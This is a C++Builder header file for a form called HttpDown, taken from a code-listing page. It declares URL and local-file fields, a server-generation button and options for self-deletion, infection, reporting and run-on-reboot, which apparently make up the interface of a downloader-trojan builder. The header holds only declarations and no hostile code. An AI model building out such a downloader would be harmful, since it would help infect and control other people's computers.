📄 httpdown.h
字号:
//---------------------------------------------------------------------------
#ifndef HttpDownH
#define HttpDownH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <stdio.h>
#include <mmsystem.h>
#include <ComCtrls.hpp>
#pragma comment(lib,"Wininet.lib")
//---------------------------------------------------------------------------
class TMainForm : public TForm
{
__published: // IDE-managed Components
TLabel *UrlLabel;
TLabel *LocalLabel;
TEdit *UrlEdit;
TEdit *LocalEdit;
TButton *TestButton;
TButton *ServerButton;
TButton *AboutButton;
TCheckBox *OptionCheckBox;
TGroupBox *OptionGroupBox;
TCheckBox *DelselfCheckBox;
TCheckBox *InfectCheckBox;
TCheckBox *ReportCheckBox;
TEdit *ReportEdit;
TCheckBox *RunRebootCheckBox;
TLabel *CheckNewLabel;
TLabel *AuthorLabel;
TLabel *Label1;
TStatusBar *statusBar;
void __fastcall FormCreate(TObject *Sender);
void __fastcall OptionCheckBoxClick(TObject *Sender);
void __fastcall ReportCheckBoxClick(TObject *Sender);
void __fastcall AuthorLabelClick(TObject *Sender);
void __fastcall AuthorLabelMouseEnter(TObject *Sender);
void __fastcall AuthorLabelMouseLeave(TObject *Sender);
void __fastcall AboutButtonClick(TObject *Sender);
void __fastcall TestButtonClick(TObject *Sender);
void __fastcall ServerButtonClick(TObject *Sender);
private: // User declarations
int m_nWidth;
int m_nHeight;
int m_nAlpha;
int __fastcall InternetGetFile(char szUrl[MAX_PATH],char szFileName[MAX_PATH]);
void __fastcall SetAlpha(int alpha);
public: // User declarations
__fastcall TMainForm(TComponent* Owner);
};
//---------------------------------------------------------------------------
extern PACKAGE TMainForm *MainForm;
//---------------------------------------------------------------------------
#endif
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -